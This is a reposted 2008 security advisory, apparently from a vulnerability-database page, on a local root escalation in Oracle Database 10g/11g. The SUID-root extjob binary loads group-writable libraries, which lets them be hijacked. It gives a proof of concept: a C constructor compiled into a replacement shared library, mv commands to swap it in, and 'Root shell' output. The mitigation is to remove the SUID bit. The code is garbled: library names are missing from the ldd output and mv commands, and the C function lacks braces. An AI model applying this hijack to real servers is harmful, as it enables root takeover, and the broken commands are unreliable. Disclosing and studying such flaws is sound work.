Oracle Database Local Untrusted Library Path Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052605 漏洞类型
发布时间 2008-07-23 更新时间 2008-07-23
漏洞平台 N/A CVSS评分 N/A
Oracle Database Local Untrusted Library Path Vulnerability

The Oracle July 2008 Critical Patch Update fixes a vulnerability which
allows a user in the OINSTALL/DBA group to scalate privileges to root.

Scalating Privileges from "oracle" to "root"

In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
the following forum from Oracle you will found a note at the bottom of
the page:

 In and higher

 rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
 be writable only by the owner i.e. 644 (rw-r--r--)

 bin/extjob file must be also owned by root:oraclegroup but must be
 setuid i.e. 4750 (-rwsr-x---)

 bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned

 In 11g and higher

 Same as but additionally bin/jssu should exist with root
 permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---) 


The "oraclegroup" is commonly "dba" or "oinstall". Regardless of the
group's name, if a user can execute OS commands from the database (after
an attacker gains DBA privileges by abusing from an sql injection
vulnerability, in example) the user is allowed to execute, modify,
delete or create new files under the ORACLE_HOME directory. 

The following are the linked libraries of the extjob binary:

$ ldd $ORACLE_HOME/bin/extjob =>  (0xffffe000)
=> /home/joxean/oracle10g/product/10.2.0/db_2/lib/
(0xb669d000) => /lib/tls/i686/cmov/ (0xb6681000) => /lib/tls/i686/cmov/ (0xb665f000) => /lib/tls/i686/cmov/
(0xb664d000) => /lib/tls/i686/cmov/ (0xb6638000) => /lib/tls/i686/cmov/ (0xb6509000)
=> /home/joxean/oracle10g/product/10.1.0/db_2/lib/
(0xb635f000) => /usr/lib/ (0xb635c000)
        /lib/ (0xb7f95000)

As you can see, 2 Oracle libraries are linked to the extjob binary. A
user in the oracle group can't change the binary "extjob" because it's
owned by root but can change linked libraries to execute arbitrary code
under the privileges of "root". The following is an example of what can
be done:

-- Example with

$ cat test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__ ((constructor)) my_init(void)
        printf("[+] It works! Root shell...\n");

$ cc test.c -fPIC -o -shared
mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/ /home/joxean/oracle10g/product/10.2.0/db_2/lib/
$ mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...


Despite the privileges needed, the vulnerability can be used in a
multi-stage attack to gain root privileges.


Remove the SUID root bit from the extjob binary.


The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind. 

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this


Joxean Koret - joxeankoret[at]yahoo[dot]es